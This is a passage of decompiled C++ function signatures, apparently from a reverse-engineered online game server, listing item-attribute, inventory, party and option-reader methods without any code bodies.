ItemAttrCls_RecallScroll::iac_ItemClass(ItemAttrCls_RecallScroll *this); int __thiscall CharClassHawkArcher::cc_PromoteClass(ItemAttrCls_BindItem *this); int __thiscall CharClassSharpShooter::cc_ClassType(ItemAttrCls_UpSource *this); int __thiscall CharClassRanger::cc_ClassType(ItemAttrCls_ItemChest *this); ShineItemAttr_ItemChest *__thiscall ItemAttrCls_ItemChest::iac_Getitemchest(ItemAttrCls_ItemChest *this, ItemTotalInformation *itm); int __thiscall ItemAttrCls_WeaponTitlaLicence::iac_ItemClass(ItemAttrCls_WeaponTitlaLicence *this); int __thiscall CharClassMage::cc_PromoteClass(ItemAttrCls_KingdomQuestItem *this); int __thiscall CharClassWizMage::cc_PromoteClass(ItemAttrCls_MiniHouseSkin *this); int __thiscall CharClassWarrock::cc_ClassType(ItemAttrCls_UpgradeRedGem *this); int __thiscall CharClassWizard::cc_PromoteClass(ItemAttrCls_UpgradeBlueGem *this); int __thiscall ItemAttrCls_KQStep::iac_ItemClass(ItemAttrCls_KQStep *this); ShineDateTime *__thiscall ItemAttrCls_Riding::iac_GetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm); ShineDateTime *__thiscall ItemAttrCls_Amulet::iac_GetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttributeClass::iac_SetEndTime(ItemAttributeClass *this, ShineDateTime *deletetime, int hour, tm *curtime, int curhour); int __thiscall ItemAttrCls_DwrdLot::iac_GetLot(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Amulet::iac_GetItemOptionStruct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Weapon::iac_GetItemOptionStruct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Boot::iac_GetItemOptionStruct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm); unsigned __int16 __thiscall ItemAttributeClass::iac_GetItemOptionUpgrade(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char Type); unsigned __int16 __thiscall ItemAttrCls_Amulet::iac_GetItemOptionUpgrade(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char Type); char *__thiscall ItemAttrCls_ByteLot::iac_fill2buffer(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amount::iac_fill2buffer(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_QuestLot::iac_fill2buffer(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Furniture::iac_fill2buffer(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_SkillScroll::iac_fill2buffer(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_BindItem::iac_fill2buffer(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ItemChest::iac_fill2buffer(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Riding::iac_fill2buffer(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttributeClass::iac_fill2struct(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ByteLot::iac_fill2struct(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_QuestLot::iac_fill2struct(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Decoration::iac_fill2struct(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Furniture::iac_fill2struct(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_BindItem::iac_fill2struct(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ItemChest::iac_fill2struct(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Riding::iac_fill2struct(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall ItemAttrCls_WordLot::iac_GetAttrSize(ItemAttrCls_QuestLot *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_DwrdLot::iac_GetAttrSize(ItemAttrCls_ActionItem *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Furniture::iac_GetAttrSize(ItemAttrCls_Furniture *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_BindItem::iac_GetAttrSize(ItemAttrCls_BindItem *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_ItemChest::iac_GetAttrSize(ItemAttrCls_ItemChest *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Riding::iac_GetAttrSize(ItemAttrCls_Riding *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall ItemAttributeClass::iac_Setoption(ItemAttributeClass *this, ItemOptionStorage *option, char *arg); void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Shield::iac_itemcreate(ItemAttrCls_Shield *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Boot::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Furniture::iac_itemcreate(ItemAttrCls_Furniture *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_MiniHouseSkin::iac_itemcreate(ItemAttrCls_ActionItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_BindItem::iac_itemcreate(ItemAttrCls_BindItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_ItemChest::iac_itemcreate(ItemAttrCls_ItemChest *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_KQStep::iac_itemcreate(ItemAttrCls_KQStep *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Riding::iac_itemcreate(ItemAttrCls_Riding *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Amount::iac_itemcreate(ItemAttrCls_Amount *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_CostumWeapon::iac_itemcreate(ItemAttrCls_CostumWeapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); int __thiscall ItemAttrCls_CostumWeapon::iac_GetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti); void __thiscall ItemAttrCls_CostumWeapon::iac_SetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti, int num); char __thiscall ItemAttrCls_Riding::iac_GetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ItemAttrCls_Riding::iac_SetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct, char ride); int __cdecl upgradeselect(ShineReward *reward); void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Armor::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); int __thiscall ItemAttributeClass::iac_equipbriefinfo(ItemAttributeClass *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Amulet::iac_equipbriefinfo(ItemAttrCls_Amulet *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Weapon::iac_equipbriefinfo(ItemAttrCls_Weapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Shield::iac_equipbriefinfo(ItemAttrCls_Boot *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_CostumWeapon::iac_equipbriefinfo(ItemAttrCls_CostumWeapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); void __thiscall ItemAttrCls_ByteLot::iac_DropItemMake(ItemAttrCls_ByteLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_WordLot::iac_DropItemMake(ItemAttrCls_WordLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_DwrdLot::iac_DropItemMake(ItemAttrCls_DwrdLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_Weapon::iac_DropItemMake(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_Armor::iac_DropItemMake(ItemAttrCls_Boot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); int __thiscall ItemAttributeClass::iac_wptitle_Setlicense(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid); int __thiscall ItemAttrCls_Weapon::iac_wptitle_Setlicense(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid); unsigned int __thiscall ItemAttrCls_Weapon::iac_wptitle_mobkilladd(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue); char (*__thiscall ItemAttributeClass::iac_wptitle_Gettitle(ItemAttributeClass *this, ItemTotalInformation *itm))[17]; char (*__thiscall ItemAttrCls_Weapon::iac_wptitle_Gettitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm))[17]; bool __thiscall ItemAttrCls_Weapon::iac_wptitle_Settitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]); void __thiscall ItemAttrCls_Riding::iac_FoodEat(ItemAttrCls_Riding *this, ItemTotalInformation *itm, int hungry, int maxhungry); int __thiscall ItemAttrCls_Riding::iac_GetHungry(ItemAttrCls_Riding *this, ItemTotalInformation *itm); unsigned __int16 __thiscall ItemAttributeClass::iac_wptitle_Getlicencemob(ItemAttributeClass *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm); unsigned __int16 __thiscall ItemAttrCls_WeaponTitlaLicence::iac_wptitle_Getlicencemob(ItemAttrCls_WeaponTitlaLicence *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Furniture::iac_SetFurnitureKey(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 key); int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime); int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime); void __thiscall ItemAttrCls_Furniture::iac_SetEndureGrade(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, char nEndureGrade); ShineDateTime *__thiscall ItemAttrCls_ActionItem::iac_SetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); ShineDateTime *__thiscall ItemAttrCls_Riding::iac_SetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); void __thiscall ItemAttributeClassContainer::ItemAttributeClassContainer(ItemAttributeClassContainer *this); void __thiscall ItemAttributeClassContainer::_ItemAttributeClassContainer(ItemAttributeClassContainer *this); char *__thiscall ItemAttrCls_Amulet::iac_fill2buffer(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Weapon::iac_fill2buffer(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Shield::iac_fill2buffer(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amulet::iac_fill2struct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Weapon::iac_fill2struct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Shield::iac_fill2struct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall ItemAttrCls_Amulet::iac_GetAttrSize(ItemAttrCls_Amulet *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Weapon::iac_GetAttrSize(ItemAttrCls_Weapon *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Armor::iac_GetAttrSize(ItemAttrCls_Boot *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall ItemAttributeClass::iac_itemcreate(ItemAttributeClass *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); char *__thiscall ItemTotalInformation::iti_fill2buffer_union(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); char *__thiscall ItemTotalInformation::iti_fill2buffer_atrib(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); void __thiscall ItemTotalInformation::iti_mkregnum(ItemTotalInformation *this, int method, int zone, int world); char *__thiscall ItemTotalInformation::iti_fill2buffer_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); char *__thiscall ItemTotalInformation::iti_fill2struct_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); int __thiscall MobDataBox::mdb_SpeciesDistance(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB); MobInfo *__thiscall BinaryDataBox::operator__(BinaryDataBox *this, unsigned int index); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall MobDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall MobDataBox::__unnamed::___unnamed(BinaryData *this); void __thiscall MobDataBox::_MobDataBox(MobDataBox *this); void __thiscall MobDataBox::mdb_Load(MobDataBox *this); void __thiscall MobDataBox::mdb_SkillStore(MobDataBox *this, BTree *skillbtree, BTree *abstrbtree); bool __thiscall MobDataBox::mdb_CanIKill(MobDataBox *this, unsigned __int16 mobID, MobKillerIdentity identity); void __thiscall MobDataBox::MobDataBox(MobDataBox *this, char *pdatafn); ItemBag *__thiscall ShineObjectClass::ShineObject::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_inven(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_quest(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_minihouse(CharacterInventoryManager *this, CharacterInventory *ci); int __thiscall ItemBag::ib_ItemCount_Output(ItemBag *this); char __thiscall ItemBoxIterator::ibi_Next(ItemBoxIterator *this); ItemInventoryCell *__thiscall ItemBoxIterator::ibi_GetCell(ItemBoxIterator *this); void __thiscall ItemBag::_ItemBag(ItemBag *this); void __thiscall ItemInventoryCell::iic_StoreItem(ItemInventoryCell *this, ItemTotalInformation *itemtemp); void __thiscall ItemInventory::_ItemInventory(ItemInventory *this); int __thiscall ItemInventory::ib_BagSizeInput(ItemInventory *this, ChargedEffectContainer *cec); int __thiscall ItemAccountStorage::ib_BagSizeOutput(ItemAccountStorage *this); char __thiscall ItemInventory::ib_GetInvenType(ItemInventory *this); void __thiscall ItemEquipment::_ItemEquipment(ItemEquipment *this); int __thiscall ItemEquipment::ib_BagSizeInput(ItemEquipment *this, ChargedEffectContainer *cec); int __thiscall ItemEquipment::ib_BagSizeOutput(ItemEquipment *this); char __thiscall ShineObjectClass::ShineBandit::so_ObjectType(ItemEquipment *this); void __thiscall ItemQuestItemBox::_ItemQuestItemBox(ItemQuestItemBox *this); int __thiscall ItemQuestItemBox::ib_BagSizeInput(ItemQuestItemBox *this, ChargedEffectContainer *cec); char __thiscall ShineObjectClass::ShineDoor::so_ObjectType(ItemQuestItemBox *this); void __thiscall ItemAccountStorage::_ItemAccountStorage(ItemAccountStorage *this); int __thiscall ItemAccountStorage::ib_BagSizeInput(ItemAccountStorage *this, ChargedEffectContainer *cec); char __thiscall ItemAccountStorage::ib_GetInvenType(ItemAccountStorage *this); void __thiscall ItemMiniHouseBox::_ItemMiniHouseBox(ItemMiniHouseBox *this); int __thiscall ItemMiniHouseBox::ib_BagSizeInput(ItemMiniHouseBox *this, ChargedEffectContainer *cec); int __thiscall ItemMiniHouseBox::ib_BagSizeOutput(ItemMiniHouseBox *this); char __thiscall ItemMiniHouseBox::ib_GetInvenType(ItemMiniHouseBox *this); void __thiscall ItemGuildStorage::_ItemGuildStorage(ItemGuildStorage *this); int __thiscall ItemGuildStorage::ib_BagSizeOutput(ItemGuildStorage *this); char __thiscall ItemGuildStorage::ib_GetInvenType(ItemGuildStorage *this); void __thiscall ItemGuildAcademyRewardStorage::_ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this); int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeInput(ItemGuildAcademyRewardStorage *this, ChargedEffectContainer *cec); int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeOutput(ItemGuildAcademyRewardStorage *this); void __thiscall ItemFurnicherBox::_ItemFurnicherBox(ItemFurnicherBox *this); ItemInventoryCell *__thiscall ItemInventory::ib_GetInventoryCell(ItemRewardStorage *this, int slot); int __thiscall ItemFurnicherBox::ib_BagSizeInput(ItemFurnicherBox *this, ChargedEffectContainer *cec); int __thiscall ItemFurnicherBox::ib_BagSizeOutput(ItemFurnicherBox *this); char __thiscall ItemFurnicherBox::ib_GetInvenType(ItemFurnicherBox *this); void __thiscall ItemInform_ActionItem::sii_Clear(ItemInform_ActionItem *this); ShineDateTime *__thiscall ItemInform_ActionItem::sii_GetDeteleDateTime(ItemInform_ActionItem *this); void __thiscall ItemInform_ActionItem::sii_Import(ItemInform_ActionItem *this, ItemTotalInformation *iti); void __thiscall ItemInform_ActionItem::sii_Export(ItemInform_ActionItem *this, ItemTotalInformation *iti); void __thiscall ItemRewardStorage::_ItemRewardStorage(ItemRewardStorage *this); void __thiscall ItemBag::ib_InitializeAsNumber(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); void __thiscall ItemBoxIterItemRegNo::ItemBoxIterItemRegNo(ItemBoxIterItemRegNo *this, ItemBag *ib, SHINE_ITEM_REGISTNUMBER Regno, ChargedEffectContainer *cec); char __thiscall ItemBoxIterItemRegNo::ibi_isvalid(ItemBoxIterItemRegNo *this); int __cdecl ItemBag::ib_InitStateCell(); void __thiscall ItemBag::ib_Initializetotal(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); int __thiscall ItemAccountStorage::ias_FillBufferItem(ItemAccountStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, const char *charid, int from, int to); int __thiscall CharacterInventory::ci_FillBufferInventoryItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, int *from, int buffersize, ItemBag *bag); int __thiscall CharacterInventory::ci_FillBufferItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall CharacterInventory::ci_FillBufferInventoryTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int buffersize); int __thiscall CharacterInventory::ci_FillBufferTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr); void __thiscall ItemBag::ib_clear(ItemBag *this); void __thiscall ItemInventoryCell::ItemInventoryCell(ItemInventoryCell *this); void __thiscall ItemInventory::ItemInventory(ItemInventory *this); void __thiscall ItemEquipment::ItemEquipment(ItemEquipment *this); void __thiscall ItemQuestItemBox::ItemQuestItemBox(ItemQuestItemBox *this); void __thiscall ItemAccountStorage::ItemAccountStorage(ItemAccountStorage *this); void __thiscall ItemMiniHouseBox::ItemMiniHouseBox(ItemMiniHouseBox *this); void __thiscall ItemGuildStorage::ItemGuildStorage(ItemGuildStorage *this); void __thiscall ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this); void __thiscall ItemFurnicherBox::ItemFurnicherBox(ItemFurnicherBox *this); void __thiscall ItemActionItemBox::ItemActionItemBox(ItemActionItemBox *this); int __thiscall ItemActionItemBox::isb_BagSizeInput(ItemActionItemBox *this, ChargedEffectContainer *cec); int __thiscall ItemActionItemBox::isb_BagSizeOutput(ItemActionItemBox *this); ItemInventorySmallCell *__thiscall ItemActionItemBox::isb_GetInventoryCell(ItemActionItemBox *this, int slot); void __thiscall ItemActionItemBox::_ItemActionItemBox(ItemActionItemBox *this); void __thiscall ItemRewardStorage::ItemRewardStorage(ItemRewardStorage *this); int __thiscall ItemRewardStorage::irs_FillBufferItem(ItemRewardStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); unsigned __int16 __thiscall CParty::GetEmptyParty(CParty *this); void __thiscall CParty::PartyDelete(CParty *this, unsigned __int16 nPartyNo); unsigned __int16 __thiscall CParty::PartyGetNo(CParty *this, unsigned int nCharNo); int __thiscall CParty::MemberGetNo(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo); int __thiscall CParty::SetItemLooting(CParty *this, unsigned __int16 nPartyNo, char LootingType); char __thiscall CParty::getitemlooting(CParty *this, unsigned __int16 nPartyNo); CParty::PARTY_SLOT *__thiscall CParty::operator__(CParty *this, unsigned __int16 prt); CParty::PARTY_SLOT *__thiscall CParty::p_defaultslot(CParty *this); int __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_(int this, int a2); unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, unsigned __int16 nPartyNo, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember); void __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT(CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *this); unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMaster, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember, unsigned __int16 nPartyNo); int __thiscall CParty::MemberLeave(CParty *this, unsigned __int16 nPartyNo, unsigned int LeaveMember); int __thiscall CParty::MemberSetMaster(CParty *this, unsigned __int16 nPartyNo, unsigned int NewMaster); void __thiscall CParty::PARTY_SLOT::PARTY_SLOT(CParty::PARTY_SLOT *this); void __thiscall CParty::PARTY_SLOT::_PARTY_SLOT(CParty::PARTY_SLOT *this); void __thiscall CParty::_CParty(CParty *this); int __thiscall CParty::PARTY_SLOT::operator_(int this, int a2); void __thiscall CParty::Init(CParty *this); void __thiscall CParty::CParty(CParty *this); char __thiscall ORTable::ort_ReadColumnHeader(ORTable *this, ORTokenReader *token, TokenArgument *targ); void __thiscall TokenArgument::TokenArgument(TokenArgument *this); void __thiscall TokenArgument::_TokenArgument(TokenArgument *this); void __thiscall OptionReader::or_ClearError(OptionReader *this); int __thiscall OptionReader::or_ErrorLine(OptionReader *this); char *__thiscall OptionReader::or_ErrorString(OptionReader *this); char __thiscall OptionReader::or_ExecColumnName(OptionReader *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecColumnType(OptionReader *this, ORTokenReader *token); void __thiscall List::_List(List *this); char __thiscall List::l_PopA(List *this, ORRecord *ele); char __thiscall List::l_PopZ(List *this, ORRecord *ele); void __thiscall List::_List(List *this); char __thiscall OptionReader::or_ExecTable(OptionReader *this, ORTokenReader *token); void __thiscall ListArray::_ListArray(ListArray *this); char __thiscall List::l_PushA(List *this, ORRecord *ele); char __thiscall List::l_PushZ(List *this, ORRecord *ele); void __thiscall ORTable::_ORTable(ORTable *this); char __thiscall List::l_PushA(List *this, ORTable *ele); int __thiscall ORTable::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ORTable *ele); char __thiscall List::l_PopA(List *this, ORTable *ele); char __thiscall List::l_PopZ(List *this, ORTable *ele); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall OptionReader::_OptionReader(OptionReader *this); void __thiscall List::List(List *this, ListArray *array); void __thiscall ORTable::ORTable(ORTable *this); void __thiscall OptionReader::OptionReader(OptionReader *this); char __thiscall OptionReader::or_Read(OptionReader *this, char *filename); char __thiscall MakePrimaryKeyColumn::lid_Call(MakePrimaryKeyColumn *this, ORField *ele, unsigned __int16 handle); char __thiscall OrderArgument::lid_Call(OrderArgument *this, ORRecord *ele, unsigned __int16 handle); char __thiscall ColumnCheckArgument::lid_Call(ColumnCheckArgument *this, ORField *ele, unsigned __int16 handle); char __thiscall TargetColumnFindArgument::lid_Call(TargetColumnFindArgument *this, ORField *ele, unsigned __int16 handle); char __thiscall TableNameCompareArgument::lid_Call(TableNameCompareArgument *this, ORTable *ele, unsigned __int16 handle); void __thiscall ORColumnHeader::_ORColumnHeader(ORColumnHeader *this); ORToken *__thiscall ORColumnHeader::orch_GetColumnName(ORColumnHeader *this); int __thiscall ORColumnHeader::ortr_SetLength(ORColumnHeader *this, ORTokenReader *token, TokenArgument *targ); char __thiscall ORColumnHeader::orch_FillCell(ORColumnHeader *this, ORTokenReader *token, ORRecord *datarecord); int __thiscall ORColumnHeaderString::ortr_SetLength(ORColumnHeaderString *this, ORTokenReader *token, TokenArgument *targ); void __thiscall ORColumnHeaderList::ORColumnHeaderList(ORColumnHeaderList *this); ORColumnHeader *__thiscall ORColumnHeaderList::orchl_AllocObject(ORColumnHeaderList *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ORRecord::orr_4AllInList(ORRecord *this, ListIteratorDefault *arg); char __thiscall MakePrimaryKey::lid_Call(MakePrimaryKey *this, ORRecord *ele, unsigned __int16 handle); char __thiscall ColumnNameArgument::lid_Call(ColumnNameArgument *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall 